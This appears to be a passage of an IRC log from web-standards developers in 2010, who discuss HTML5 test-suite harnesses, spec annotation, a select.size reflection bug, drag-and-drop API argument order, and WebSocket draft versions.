reftests are hard to rreate and review

[14:20:04.0000] <othermaciej>
*create

[14:20:05.0000] <Ms2ger>
Depends on what you're testing

[14:20:06.0000] <othermaciej>
because you have to make sure you have a completely independent way of creating the same visual output

[14:20:07.0000] <othermaciej>
I suppose for script-driven tests you could just have a fixed version of the outputs

[14:21:00.0000] <gsnedders>
smaug____: in our case, a harness external to the browser which interacts with it over the Scope protocol

[14:21:01.0000] <othermaciej>
but then it's like WebKit text-comparing tests only slower since it has to compare bitmaps and not just text

[14:21:02.0000] <gsnedders>
othermaciej: Agreed.

[14:21:03.0000] <othermaciej>
introducing bitmap comparison into tests that are not testing layout or rendering seems wasteful

[14:21:04.0000] <Ms2ger>
Obviously

[14:21:05.0000] <othermaciej>
as well as needlessly fragile

[14:21:06.0000] <gsnedders>
And error-prone

[14:22:00.0000] <Ms2ger>
I'm not suggesting using them for anything but rendering and layout

[14:23:00.0000] <smaug____>
html5 has parts which should be reftests

[14:23:01.0000] <gsnedders>
othermaciej: Well, yeah. I don't disagree it should be possible to put them into a variety of harness (heck, we have very mildly hacked copies of jQuery, Dojo, Prototype's test suite harnesses that work fine for us), but it's more effort having to get each harness to send the results back.

[14:23:02.0000] <smaug____>
reftested

[14:24:00.0000] <othermaciej>
my point is, for script-driven tests, as long as they have some standard call to report their results, it does not matter much what the default harness is that is provided by the w3c

[14:24:01.0000] <othermaciej>
w3c's should ideally though be an all-in-one fully automated harness that runs in the browser

[14:24:02.0000] <othermaciej>
if browser vendors prefer another form of the tests for automated test systems, they (we?) can do the engineering for that

[14:24:03.0000] <gsnedders>
othermaciej: Ah, I meant more the harness more in the sense of testing framework, where the standard call would be

[14:26:00.0000] <othermaciej>
I see

[14:26:01.0000] <othermaciej>
yeah, the framework should bottleneck to a function that reports pass/fail

[14:26:02.0000] <othermaciej>
which you can replace if you want to fit it into your own overall harness

[14:26:03.0000] <AryehGregor>
What we need is a standard API, right.

[14:27:00.0000] <AryehGregor>
I'm currently rewriting my tests so you can more easily plug them into any API you like, by making them more self-containing and splitting out the reporting from the testing.

[14:27:01.0000] <AryehGregor>
self-contained

[14:28:00.0000] <gsnedders>
othermaciej: Yeah, jgraham wrote one specifically for it, but as far as I've seen (though I could be wrong), not many of the tests use it

[14:29:00.0000] <karlcow>
/me remembers the Test Suite donated by MS (tantek, I think) and AOL (Beth Epperson) http://www.w3.org/MarkUp/Test/HTML401/current/

[14:29:01.0000] <karlcow>
ah tantek and others http://lists.w3.org/Archives/Public/www-html-testsuite/2002Jul/0000

[14:34:00.0000] <gsnedders>
/me should probably post something to public-html-testsuite having spent a while recently dealing with the CSS 2.1 testsuite…

[14:36:00.0000] <jgraham>
othermaciej: More people submitting tests would help for sure

[14:37:00.0000] <AryehGregor>
Even if no one approves them?  :)

[14:37:01.0000] <jgraham>
More people reviewing tests would be good, but I'm not sure how we are ever going to get through the volume of tests that we need

[14:37:02.0000] <jgraham>
The thing I want most of all right now is a system for linking tests to specific parts of the spec

[14:37:03.0000] <jgraham>
So we can see a) what a person was *trying* to test

[14:38:00.0000] <jgraham>
and b) where we have coverage

[14:38:01.0000] <Ms2ger>
/me notes that his tests link to the spec

[14:38:02.0000] <jgraham>
it should also help determine which tests might be broken by a given spec change

[14:38:03.0000] <jgraham>
Ms2ger: Which tests?

[14:38:04.0000] <gsnedders>
What I want now is some way to tell whether a test is manual, has to be run over http, etc.

[14:38:05.0000] <smaug____>
I wonder how to handle to possibly to-become-quite-common case where there is a test for some feature, but then the draft changes and the test isn't valid anymore.

[14:38:06.0000] <smaug____>
the test should be hopefully marked invalid automatically

[14:38:07.0000] <jgraham>
Philip`'s canvas tests come with an annotated version of the spec

[14:38:08.0000] <gsnedders>
smaug____: Short answer, no easy way :(

[14:39:00.0000] <smaug____>
but that might not be possible

[14:39:01.0000] <jgraham>
I want to extend that to the whole spec

[14:39:02.0000] <Philip`>
It's easy to get review for incorrectly failing tests - just get browser developers interested in passing everything, and they'll investigate the failures

[14:39:03.0000] <Ms2ger>
http://lists.w3.org/Archives/Public/public-html-testsuite/2010Sep/0002.html

[14:40:00.0000] <jgraham>
Although for, say, parsing tests this will be a nightmare since the tests depend on so many parts of the spec

[14:40:01.0000] <Philip`>
(http://test.w3.org/html/tests/submission/PhilipTaylor/annotated-spec/canvas.html)

[14:40:02.0000] <AryehGregor>
Okay, what is it about my refactoring just now that caused Firefox to go ballistic and throw up zillions of bogus errors?  In 4.0b6, this gives 9705 failures as opposed to 1744 before my intended-to-be-non-functional refactoring.  http://aryeh.name/tests/reflection.html

[14:40:03.0000] <jgraham>
Philip`: I don't suppose you are thinking "my goodness, what a lot of free time I had. If only someone wanted me to extend that system to work for the whole HTML5 spec?"

[14:41:00.0000] <AryehGregor>
No intelligible error message, only: Error: [Exception... "'JavaScript component does not have a method named: "handleEvent"' when calling method: [nsIDOMEventListener::handleEvent]"  nsresult: "0x80570030 (NS_ERROR_XPC_JSOBJECT_HAS_NO_FUNCTION_NAMED)"  location: "<unknown>"  data: no]

[14:41:01.0000] <AryehGregor>
Error: uncaught exception: [Exception... "Component returned failure code: 0x804b0002 (NS_BINDING_ABORTED) [nsIStreamListener.onDataAvailable]"  nsresult: "0x804b0002 (NS_BINDING_ABORTED)"  location: "JS frame :: chrome://yslow/content/yslow-firefox-net.js :: anonymous :: line 476"  data: no]

[14:41:02.0000] <AryehGregor>
Hmm, let me disable YSlow.

[14:41:03.0000] <jgraham>
s/?"/"?/

[14:41:04.0000] <jgraham>
s/had/have/

[14:41:05.0000] <Philip`>
The annotation helps with detecting when the spec changes and made tests invalid, because that usually makes the annotations invalid so I get an error message

[14:42:00.0000] <AryehGregor>
How does that work?

[14:42:01.0000] <AryehGregor>
I just quote the chunks of the spec I'm testing in comments.

[14:42:02.0000] <AryehGregor>
So you can verify it matches whatever text I was working with when I wrote it.

[14:42:03.0000] <AryehGregor>
Although that's possibly useless.

[14:42:04.0000] <Philip`>
jgraham: Sadly not, although I don't think I have anything hardcoded to the canvas section so the code should already work for anything

[14:43:00.0000] <Philip`>
AryehGregor: I quote the chunks I'm testing in http://test.w3.org/html/tests/submission/PhilipTaylor/tools/canvas/spec.yaml

[14:43:01.0000] <jgraham>
Philip`: Hmm, OK. I will have to look again

[14:43:02.0000] <jgraham>
Maybe my problem was that it seemed very complex

[14:43:03.0000] <AryehGregor>
Philip`, oh, that's pretty cool.

[14:43:04.0000] <jgraham>
It is very very cool

[14:44:00.0000] <AryehGregor>
So your code actually grabs a copy of the test and greps for those strings?

[14:44:01.0000] <jgraham>
It is highly useful when someone submits a less-good version of the same test

[14:45:00.0000] <jgraham>
So you can point out that there is already an identical test that doesn't depend on manual verification

[14:45:01.0000] <jgraham>
(and on other occasions too)

[14:45:02.0000] <Philip`>
AryehGregor: If by "a copy of the test" you mean "a copy of the spec", then yes

[14:45:03.0000] <AryehGregor>
Yeah, I meant that.

[14:46:00.0000] <AryehGregor>
There we go, my refactor seems to be more or less functional.

[14:48:00.0000] <Philip`>
jgraham: It's not particularly clean code or anything, but I think all it's doing is iterating over paragraphs and checking whether their textContent matches the given pattern, and if so then it figures out which text node contains the <^> marker from the pattern, and splits the text node and inserts the links to tests

[14:50:00.0000] <volkmar>
AryehGregor: hey, about select.size, is your test checking that?

[14:51:00.0000] <jgraham>
I thought there was some other thing it did, like looking for a magic keyword or so

[14:51:01.0000] <jgraham>
But I might be misremembering

[14:51:02.0000] <volkmar>
AryehGregor: i remember when you sent an email about this test, i checked it and current Gecko had failures for select.size but they have disappeared

[14:51:03.0000] <volkmar>
and the code didn't changed afaik

[14:52:00.0000] <AryehGregor>
/me looks

[14:52:01.0000] <Philip`>
jgraham: If the pattern contains special syntax like "foo *must* bar" then it uses that to choose the colour to indicate importance

[14:52:02.0000] <AryehGregor>
volkmar, maybe the spec changed?

[14:53:00.0000] <Philip`>
jgraham: There's also some hack so you can tell it to only match paragraphs where the nth previous node contains some text, to deal with non-unique matches

[14:53:01.0000] <volkmar>
AryehGregor: btw, it would be awesome to have the tests running only when clicking on a specific button

[14:53:02.0000] <AryehGregor>
volkmar, http://dvcs.w3.org/hg/html/rev/04935ba6a125

[14:53:03.0000] <AryehGregor>
Wait, wrong thing.

[14:54:00.0000] <AryehGregor>
You said select.size.

[14:54:01.0000] <AryehGregor>
/me looks more

[14:56:00.0000] <smaug____>
volkmar: was select.size the case you changed in gecko to follow the draft, but actually no one else, nor the web, assumes that behavior?

[14:56:01.0000] <AryehGregor>
volkmar, http://www.w3.org/Bugs/Public/show_bug.cgi?id=10354

[14:56:02.0000] <AryehGregor>
http://html5.org/tools/web-apps-tracker?from=5494&to=5495

[14:56:03.0000] <AryehGregor>
Maybe that's related?

[14:57:00.0000] <volkmar>
smaug____: we can see that that way

[14:57:01.0000] <volkmar>
but i'm not sure "no one nor the web assumes that behavior"

[14:57:02.0000] <karlcow>
shepazu: http://www.flickr.com/photos/davegray/5097025816/ 

[14:57:03.0000] <smaug____>
volkmar: I might mis-remember the regression bug

[14:58:00.0000] <volkmar>
smaug____: we had one, true

[14:58:01.0000] <volkmar>
but the js code was incorrect in the first place

[14:58:02.0000] <smaug____>
volkmar: but the js code is worked in other browsers?

[14:58:03.0000] <smaug____>
s/is/did/

[14:59:00.0000] <volkmar>
smaug____: yes

[14:59:01.0000] <volkmar>
we will have to think about reverting, for sure

[14:59:02.0000] <smaug____>
and changing the draft

[15:00:00.0000] <volkmar>
that would be sad because the draft is sane

[15:00:01.0000] <volkmar>
except for one point i'm still not sure about

[15:00:02.0000] <Ms2ger>
That's a first

[15:01:00.0000] <volkmar>
AryehGregor: i don't think that's the change

[15:01:01.0000] <volkmar>
it was with .size returning 4 for multiple

[15:01:02.0000] <jgraham>
/me feels like he should fill in the blank after "smaug"

[15:01:03.0000] <AryehGregor>
volkmar, oh, hmm.

[15:02:00.0000] <volkmar>
AryehGregor: do you have a history of the changes in your script?

[15:02:01.0000] <AryehGregor>
Well, that's tested currently.

[15:02:02.0000] <AryehGregor>
volkmar, 

[15:02:03.0000] <AryehGregor>
http://dvcs.w3.org/hg/html/

[15:02:04.0000] <AryehGregor>
volkmar, http://dvcs.w3.org/hg/html/

[15:03:00.0000] <AryehGregor>
Older history is at: http://aryeh.name/gitweb.cgi?p=tests

[15:03:01.0000] <AryehGregor>
If that's it, maybe it's related to this: http://aryeh.name/gitweb.cgi?p=tests;a=commitdiff;h=cfd41b7cc2460dd5c8e2e9fb8e6ffd61b3130387

[15:04:00.0000] <AryehGregor>
Or this: http://aryeh.name/gitweb.cgi?p=tests;a=commitdiff;h=de24a97ec132d7cca15eea75a22cc658079f5ae5

[15:04:01.0000] <smaug____>
jgraham: :) Someone else in freenode is using smaug. But I think I'm the only smaug involved with web browsers, and didn't want to change nick just for freenode

[15:04:02.0000] <AryehGregor>
Is someone else also using smaug_, smaug__, and smaug___?

[15:04:03.0000] <smaug____>
AryehGregor: IIRC, yes

[15:04:04.0000] <AryehGregor>
:/

[15:05:00.0000] <guams>
well, you could use this nick, I suppose

[15:05:01.0000] <volkmar>
AryehGregor: ok, it might be the first change you pointed out

[15:05:02.0000] <nessy>
AryehGregor: you managed to get me involved in political discussion on public-html - no, no, noooo!

[15:06:00.0000] <AryehGregor>
nessy, we all must make sacrifices for the common good.

[15:06:01.0000] <nessy>
lol

[15:06:02.0000] <AryehGregor>
Plus just gratuitously make sacrifices for no discernible purpose, once in a while.

[15:06:03.0000] <volkmar>
AryehGregor: but the select.size reflection isn't clear in the specs: "The size IDL attribute is limited to only non-negative numbers greater than zero, and has no default value (unlike the size content attribute that it reflects)."

[15:06:04.0000] <nessy>
I'd rather work on productive thing to be honest :)

[15:07:00.0000] <Ms2ger>
What's unclear?

[15:07:01.0000] <AryehGregor>
volkmar, ack, that was a recent change.

[15:07:02.0000] <AryehGregor>
I apparently missed that it was a functional change.

[15:07:03.0000] <AryehGregor>
Previously IDL attributes had no default value separate from their corresponding content attributes.

[15:08:00.0000] <volkmar>
Ms2ger: does that mean that when multiple is set, select.size should return 1 (when size isn't set) because that's unsigned long limited to non-negitave greater than zero default value ?

[15:08:01.0000] <AryehGregor>
What does it even mean for a DOM attribute to have a default value?

[15:08:02.0000] <AryehGregor>
volkmar, yeah, that's what the spec currently says.

[15:08:03.0000] <AryehGregor>
It makes less sense than defaulting to 4, though.

[15:08:04.0000] <volkmar>
yes

[15:08:05.0000] <othermaciej>
AryehGregor: what do you mean by "DOM attribute"? an IDL attribute or a markup (getAttribute/setAttribute) attribute?

[15:09:00.0000] <AryehGregor>
othermaciej, http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#attr-select-size

[15:09:01.0000] <othermaciej>
AryehGregor, nessy: thank you both (and also hsivonen and others) for actually commenting

[15:10:00.0000] <volkmar>
AryehGregor: it feels like always defaulting to 1 has no sense and doesn't even help for web compat (because it's currently 0)

[15:10:01.0000] <nessy>
actually, the one to thank is hsivonen - he actually read the document and gave some good feedback

[15:10:02.0000] <othermaciej>
that is true, his comments were the most thorough

[15:10:03.0000] <AryehGregor>
volkmar, I suspect this change in the spec was a mistake.

[15:10:04.0000] <AryehGregor>
Looking for the commit now.

[15:10:05.0000] <AryehGregor>
/me joins in thanking hsivonen 

[15:10:06.0000] <nessy>
I have read it so often that I cannot see anything any more

[15:11:00.0000] <nessy>
it's also gone through so many iterations with many authors - it's good to get some independent eyes on it

[15:11:01.0000] <AryehGregor>
http://lists.whatwg.org/pipermail/commit-watchers-whatwg.org/2010/004731.html

[15:11:02.0000] <nessy>
it seems it needed the pressure to call it an "official" document to make people finally comment

[15:11:03.0000] <smaug____>
/me wonders which document nessy is talking about

[15:23:00.0000] <jgraham>
nessy: I think a lot of people are semi tuned out of public-html now. So things don't always get noticed

[15:23:01.0000] <nessy>
which is understandable

[15:23:02.0000] <jgraham>
(I also agree with hsivonen's comments fwiw)

[15:23:03.0000] <nessy>
it's also understandable that the implementers sit back while the users scramble over trying to agree on their respective requirements

[15:24:00.0000] <nessy>
I also think hsivonen has many good points - and others have, too

[15:25:00.0000] <AryehGregor>
volkmar, smaug____: What's the regression bug you were talking about earlier, related to select.size?

[15:26:00.0000] <nessy>
I personally used the process of creating the document to listen to the users' requirements - I don't really care that much any more about the exact wording in the document, since I have heard them make their points and understand the intentions, which is more valuable to me - but it is important for the process and for W3C publications etc to get that document right and the group will be very happy to address all the concerns

[15:26:01.0000] <volkmar>
AryehGregor: https://bugzilla.mozilla.org/show_bug.cgi?id=603141

[15:29:00.0000] <jgraham>
nessy: I don't really understand your point about process. Why is it important to get something right for "process" reasons? In general having documents with bigs lists of features without any implementation-level considerations seems very counter-productive, giving them any normative status doubly so

[15:30:00.0000] <jgraham>
Understanding user needs is of course very important

[15:31:00.0000] <AryehGregor>
volkmar, okay, noted that in the spec bug.

[15:31:01.0000] <nessy>
accessibility users have traditionally been under the impression that their needs are not considered, and been told that they need to express them explicitly to make a contribution to the process of defining a specification - so they are trying to adhere to "process"

[15:32:00.0000] <nessy>
unfortunately the word "requirement" can be very overloaded

[15:34:00.0000] <nessy>
Iv'e also called it a "wish list" in the past, but that's unfair to most of the needs expressed on that list, which are more than wishes and actual fundamental needs

[15:35:00.0000] <jgraham>
nessy: I am not sure, but I think contributions more similar in form to that used by the rest of the community would work better. Specifically problem statements of the form "I have this problem using HTML video." possibly followed by "I need x to fix this problem" and then maybe a suggestion for the implementation details of x

[15:36:00.0000] <jgraham>
At the moment we just have a list of lots of "I need x"

[15:37:00.0000] <jgraham>
With no real way to tell what the priorities are and only guessses at the actual problem being solved

[15:37:01.0000] <nessy>
that's because a statement such as "I am blind and cannot watch video - I need a means that allows me to perceive video imagery in a different" isn't actually constructive

[15:38:00.0000] <nessy>
(insert: way)

[15:38:01.0000] <nessy>
the priorities are on the checklist

[15:39:00.0000] <nessy>
http://www.w3.org/WAI/PF/HTML/wiki/Media_Accessibility_Checklist

[15:40:00.0000] <nessy>
it references the user req doc for more detailed descriptions of each need

[15:41:00.0000] <jgraham>
From that document it is hard to pick say the top 5 features that one would add to the spec in order to imporve accessibility

[15:56:00.0000] <annevk>
volkmar, ah, the spec bug you just filed is what I mentioned the other day

[16:02:00.0000] <volkmar>
annevk: i think we thought about content attribute not set, don't we?

[16:02:01.0000] <volkmar>
s/thought/talked/

[16:04:00.0000] <nessy>
jgraham: that's a fair enough concern - it's also been voiced by Frank

[16:05:00.0000] <nessy>
jgraham: it's been discussed in the TF, but to some extent they feel incapable of giving such a list, because they don't know what's hard to do and what isn't - technically speaking

[16:07:00.0000] <nessy>
jgraham: to them all of it is important, really

[16:07:01.0000] <nessy>
jgraham: I suppose what I took away is that 1) captions, 2) audio descriptions, and 3) navigation at different hierarchical levels are the most important things to get right


2010-10-29
[17:29:00.0000] <Hixie>
so this event.dataTransfer.items.add() method... should the "type" argument be first, or the "data" argument?

[17:29:01.0000] <Hixie>
DOMStringMap's setter uses the order "name, value"

[17:30:00.0000] <AryehGregor>
Without any context, if both arguments are mandatory, "type" then "data" makes more sense to me.  Although I have no actual idea what you're talking about.

[17:30:01.0000] <Hixie>
this is for drag and drop

[17:30:02.0000] <Hixie>
the new API

[17:30:03.0000] <Hixie>
that lets you add new things to the drag data store

[17:30:04.0000] <Hixie>
in the dragstart event, you can now do event.dataTransfer.items.add('text/plain', 'my data')

[17:30:05.0000] <Hixie>
or event.dataTransfer.items.add(input.value, 'text/plain')

[17:31:00.0000] <Hixie>
i could see arguments both ways

[17:31:01.0000] <Hixie>
the data,type order's main argument is that type is an annotation and annotations should go second because we might add more later

[17:32:00.0000] <Hixie>
the type,data order's main argument is that the type is the key of the item, and APIs always give the key/name before the value

[17:33:00.0000] <Hixie>
data,type would argue that it's not the key because it could even be made optional (defaulting to text/plain)

[17:33:01.0000] <AryehGregor>
Making it optional seems like the best way to go.

[17:33:02.0000] <Hixie>
type,data would argue that that will almost never happen, and that in fact should not happen since we would not want apps making their internal formats text/plain, and so we should have it first so that authors have to think about it

[17:34:00.0000] <boogyman>
Is there a default"type"? and if so, would it be safe to say that many developers would enjoy the implicit negation of type unless necessary?

[17:34:01.0000] <Hixie>
data,type would argue yes, that text/plain should be the default type, because it maximises the chance of being able to drag data out. type,data would argue no, because we don't want internal data being draggable to text fields, and so you should always give a type, not rely on a default

[17:38:00.0000] <boogyman>
Hixie: I agree that explicitly stating a type is following proper coding technique. 

[17:38:01.0000] <AryehGregor>
Would authors primarily use this for custom data types?

[17:39:00.0000] <AryehGregor>
If so, doesn't it seem kind of awkward to demand they specify a MIME type for that?  Are they supposed to make one up?

[17:43:00.0000] <Hixie>
they're _supposed_ to register one

[17:43:01.0000] <Hixie>
but yeah

[17:47:00.0000] <AryehGregor>
Register one.

[17:47:01.0000] <AryehGregor>
Seriously?

[17:47:02.0000] <AryehGregor>
You expect web authors to register a MIME type?

[17:47:03.0000] <AryehGregor>
They're going to reuse whatever boilerplate they copy and paste from tutorials or other pages.

[17:48:00.0000] <Hixie>
i don't expect developers of million-dollar application software to register a MIME type, let alone a random web author

[17:48:01.0000] <boogyman>
AryehGregor: I assume he means "declare" in place of "register"

[17:49:00.0000] <Hixie>
no, i meant register

[17:49:01.0000] <AryehGregor>
So why did you say such a blatantly crazy thing as to say that authors are supposed to register a MIME type?

[17:49:02.0000] <Hixie>
however, the mime type problem is basically water under the bridge... unless we have an idea for how to change how drag-and-drop works, the idea here was just to expose the model with a better API

[17:49:03.0000] <Hixie>
not change the model

[17:49:04.0000] <AryehGregor>
Sad.

[17:49:05.0000] <AryehGregor>
Hmm.

[17:49:06.0000] <Hixie>
well if there's a better model i'm all for it, i just don't know what it is

[17:50:00.0000] <Hixie>
the reality is that mime types are how we label types on the web

[17:50:01.0000] <Hixie>
and here we are talking about types

[17:50:02.0000] <Hixie>
so...

[17:50:03.0000] <Hixie>
personally i think we should do away with the mime type registry and have a wiki instead

[17:50:04.0000] <AryehGregor>
They won't register on a wiki either.

[17:50:05.0000] <Hixie>
indeed

[17:50:06.0000] <AryehGregor>
Why is a type needed?  So that different programs don't grab each other's data by mistake?

[17:50:07.0000] <Hixie>
so that you can have multiple types

[17:51:00.0000] <Hixie>
e.g. drag a table from a spreadsheet and you'll get several formats: CSV, tabbed text, plain text, HTML, the spreadsheet package's own format, rich text, etc

[17:51:01.0000] <Hixie>
drag it to notepad, it'll take the text

[17:51:02.0000] <Hixie>
drag it to Word or Pages, it'll take the rich text

[17:51:03.0000] <Hixie>
drag it to another sheet in the same product, it'll use the internal format

[17:52:00.0000] <AryehGregor>
I guess I don't have a clear grasp of all the use-cases here.

[17:53:00.0000] <Hixie>
i guess we could put the type second, make it optional, and default it to text/internal-drag-and-drop-format;origin=http://example.com or some such (with the origin autopopulated)

[17:53:01.0000] <AryehGregor>
"we don't want internal data being draggable to text fields" -- what's "internal data"?  If this is being used for "internal data", then it would make more sense to be able to pass around JS data types instead of just strings.

[17:53:02.0000] <AryehGregor>
(which could secretly be serialized to JSON)

[17:53:03.0000] <Hixie>
(but that would make accepting the drop a bit of a pain... unless we make dropzone="" have some special format for this... hmm...)

[17:54:00.0000] <Hixie>
AryehGregor: internal data = whatever the script just added to the drag data store, e.g. in a game of some sort it could be the ID of a spaceship, or the orders for a train, or whatnot

[17:54:01.0000] <AryehGregor>
Then you'd really want to dump objects and arrays and things there, not just strings.

[17:54:02.0000] <Hixie>
yes

[17:54:03.0000] <Hixie>
one thing at a time though :-)

[17:54:04.0000] <AryehGregor>
:)

[17:54:05.0000] <Hixie>
right now i'm specifically looking at the method for adding text

[19:47:00.0000] <MikeSmith>
 /msg  agektmr 

[19:47:01.0000] <MikeSmith>
hmm

[19:47:02.0000] <MikeSmith>
sorry

[20:17:00.0000] <zcorpan>
so xml-stylesheet was published http://www.w3.org/TR/2010/REC-xml-stylesheet-20101028/

[20:20:00.0000] <heycam>
congrats zcorpan :)

[20:20:01.0000] <zcorpan>
thanks heycam

[20:21:00.0000] <zcorpan>
which spec should i target next?

[20:29:00.0000] <heycam>
zcorpan, dom xpath?

[20:30:00.0000] <zcorpan>
hmm

[20:30:01.0000] <heycam>
domparser?

[20:31:00.0000] <zcorpan>
domparser and xmlserializer could probably just be part of dom core

[20:31:01.0000] <zcorpan>
they seem pretty trivial

[20:31:02.0000] <heycam>
yeah, probably

[20:32:00.0000] <zcorpan>
/me looks at http://wiki.whatwg.org/wiki/Companion_specifications

[20:34:00.0000] <zcorpan>
maybe a spec to glue DOM and XML together better... XML5... though i had wanted to get out of XML land

[20:34:01.0000] <zcorpan>
i'm never going to convince the xml core wg to rewrite the xml spec

[20:38:00.0000] <othermaciej>
does the Infoset spec sufficiently define how to map the XML syntax to the Infoset?

[20:38:01.0000] <othermaciej>
if so, then you can reduce the problem to mapping from Infoset to DOM

[20:40:00.0000] <zcorpan>
that still doesn't define what happens when it's not well-formed, or when you move nodes with script, and other such things

[20:40:01.0000] <zcorpan>
which are well-defined for text/html

[20:41:00.0000] <othermaciej>
well, what happens when its not well-formed is indeed something XML punted on

[20:41:01.0000] <othermaciej>
or rather, they say it means hard failure, though some people retroactively interpret that as actually meaning you can do whatever you want as long as you flag an error

[20:41:02.0000] <zcorpan>
also, infoset doesn't say whether to load external entities

[20:42:00.0000] <othermaciej>
moving nodes with script during parsing is indeed an issue

[20:42:01.0000] <othermaciej>
and some things that are optional in XML, you pretty much have to pick one or the other when processing Web content

[20:43:00.0000] <zcorpan>
i'd like to address the underlying problem and do XML5... except i don't really want to work on XML

[21:19:00.0000] <webr3>
domparser and xmlserializer could probably just be part of dom core <-- that would be great, really need them in web workers too.. or some form of XML/DOM support

[21:28:00.0000] <zcorpan>
well supporting DOM in workers is a separate issue

[21:33:00.0000] <zcorpan>
http://ie.microsoft.com/testdrive/Graphics/MBSCustomerModel/Default.html is really slow in firefox

[21:51:00.0000] <tmpvar>
hey guys, quick question: has anyone developed a test suite for the BOM? specifically things like: http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#window ?

[21:54:00.0000] <zcorpan>
you mean DOM?

[21:58:00.0000] <webr3>
eh, anybody know how Cameron McCormack has managed to get his name removed whenever you reply-all to him? hit reply and it replies to him, hit reply all and his names gone - that's awesome

[22:01:00.0000] <zcorpan>
Mail-Followup-To: Nathan <nathan⊙wo>, public-webapps <public-webapps⊙wo>

[22:02:00.0000] <zcorpan>
maybe?

[22:02:01.0000] <hober>
I miss Gnus.

[22:06:00.0000] <webr3>
zcorpan, looks about right - will have a (whatever word i put here sounds a bit wrong)

[22:06:01.0000] <webr3>
actually, tomorrow - it's way to late

[22:07:00.0000] <tmpvar>
zcorpan, if you call Window part of the dom then yes

[22:07:01.0000] <zcorpan>
tmpvar: i would, yeah

[22:08:00.0000] <zcorpan>
tmpvar: i'm not aware of any testsuite for window specifically

[22:08:01.0000] <heycam>
_o, i replied to your mail asking that

[22:08:02.0000] <heycam>
for others: yeah it's the Mail-Followup-To

[22:09:00.0000] <heycam>
but now that i have sorted out my procmailrc so that the directly-addressed mail goes to my inbox and the one delivered to the mailing list goes to the relevant folder for the list, i'm happy to receive multiple copies :)

[22:09:01.0000] <heycam>
bfn

[22:53:00.0000] <symbole>
There's some ambiguity in the WebSocket Protocol standard. Is this the correct channel to ask for a clarification?

[22:53:01.0000] <micheil>
symbole: probably or the hybi mailing list

[22:56:00.0000] <symbole>
Does the standard assume integer division?

[22:57:00.0000] <symbole>
Hmm, I don't think that's necessary. I think it's clearer now.

[22:57:01.0000] <micheil>
well, depends which version

[22:57:02.0000] <micheil>
it's not a standard

[22:57:03.0000] <micheil>
it's a draft

[22:57:04.0000] <micheil>
there's -75 and -76 (implemented) and -03 (latest)

[22:58:00.0000] <symbole>
I was referring to -76.

[22:58:01.0000] <micheil>
okay

[22:58:02.0000] <micheil>
let me check what I use..

[22:59:00.0000] <micheil>
symbole: k, so, for numkey, I use integers

[22:59:01.0000] <micheil>
and for spaces I use integers

[22:59:02.0000] <symbole>
I don't think it's necessary to assume integer division, because the next steps says "integer from 0 to max_1". 

[23:00:00.0000] <symbole>
micheil: What is this -03 version you're referring to?

[23:00:01.0000] <micheil>
it's the next version to be implemented

[23:00:02.0000] <micheil>
it has new packet format and probably new handshaking

[23:00:03.0000] <symbole>
Where can I find this document?

[23:03:00.0000] <symbole>
Perhaps I should rush to implement 76 if a new draft will repalce it.

[23:04:00.0000] <symbole>
not rush*

[23:05:00.0000] <micheil>
perhaps.

[23:05:01.0000] <micheil>
but at the moment, -76 is in Chrome, Chromium, Safari, Firefox and Opera

[23:05:02.0000] <micheil>
MSIE is missing, and I can't test for support.

[23:06:00.0000] <symbole>
I found 03.

[23:07:00.0000] <symbole>
Hmm, it's quite different.

[23:08:00.0000] <micheil>
it is

[23:09:00.0000] <micheil>
and the proposals for -04 and -05 are even more different

[23:09:01.0000] <symbole>
Do you happen to know if any of the browers plan to change from -76?

[23:11:00.0000] <micheil>
no, I don't

[23:11:01.0000] <micheil>
Rik`, zcorpan or Hixie may.

[23:11:02.0000] <micheil>
there is currently only one server implementation of -04 I know of.

[23:14:00.0000] <symbole>
Thanks micheil.

[23:22:00.0000] <zcorpan>
ian fette said chrome were updating to -03 a while back iirc

[23:23:00.0000] <zcorpan>
there's an -04?

[01:26:00.0000] <Dashiva>
http://twitter.com/davidbaron/status/29041311189

[01:26:01.0000] <Dashiva>
What kind of monster laptop (or monster book) weighs that much?

[01:35:00.0000] <virtuelv>
Dashiva: laptop: 2-3kg, camera: 1-3 kg, book: 0.5-1kg

[01:36:00.0000] <virtuelv>
then there's the weight of the bag, power supply and charger

[02:18:00.0000] <foolip>
jgraham, does html5lib do any kind of validation? would it be possible to use it to make a validating text editor (or validator plugin, rather)?

[02:31:00.0000] <annevk>
foolip, in theory

[02:31:01.0000] <annevk>
foolip, Mark Pilgrim at one point wrote a proof of concept validator on top of it

[02:34:00.0000] <foolip>
hmm, ok

[02:34:01.0000] <foolip>
I want emacs to validate my html for me :)

[02:34:02.0000] <hsivonen>
foolip: hober is working on that

[02:35:00.0000] <hendry>
foolip: you can do that with vim http://wiki.whatwg.org/wiki/IDE :-)

[02:35:01.0000] <hsivonen>
foolip: in the mean time, NetBeans tip of the tree may be of interest

[02:39:00.0000] <annevk>
zcorpan, if you read logs, parsing and serializing is not going in DOM Core I think as it'll create dependencies on HTML5 which I'd like to avoid

[02:40:00.0000] <jgraham>
foolip: The shorter answer would be "no"

[02:41:00.0000] <jgraham>
We hg removed the validation bits

[02:42:00.0000] <jgraham>
hober is working on an elisp tokenizer at least. I don't know if he will do enough to get anything like validation

[02:43:00.0000] <foolip>
it'd be cool if emacs wasn't written in elisp :)

[02:43:01.0000] <foolip>
what's vims internal scripting language?

[02:43:02.0000] <hsivonen>
foolip: hey! lisp has no bugs!

[02:43:03.0000] <jgraham>
is it the "e" part you object to or the "lisp" part?

[02:44:00.0000] <hsivonen>
jgraham: does the "e" part introduce bugs?

[02:44:01.0000] <foolip>
the lisp part. I don't mind functional, but I do mind the syntax

[02:44:02.0000] <jgraham>
hsivonen: I am not an expert, but I don't think elisp is a highly regarded lisp dialect

[02:45:00.0000] <jgraham>
foolip: So you want a text editor that is scripted in haskell, right? :)

[02:45:01.0000] <foolip>
hehe, no, python :)

[02:45:02.0000] <foolip>
http://en.wikipedia.org/wiki/Vim_script

[02:45:03.0000] <foolip>
looks like vim won't make me happy either

[02:45:04.0000] <foolip>
aaah: " but plugins can also utilize other scripting languages like Perl or Python (if support for them is compiled into the Vim binary)."

[02:46:00.0000] <foolip>
anyway, back to "work"

[02:46:01.0000] <jgraham>
I think you *can* script (parts of) emacs in python

[02:46:02.0000] <jgraham>
But I am not sure

[02:51:00.0000] <annevk>
zcorpan, if you are still reading, how about finally writing that CSS Quirks Module :)

[03:09:00.0000] <zcorpan>
annevk: ok (re dom core)

[03:09:01.0000] <zcorpan>
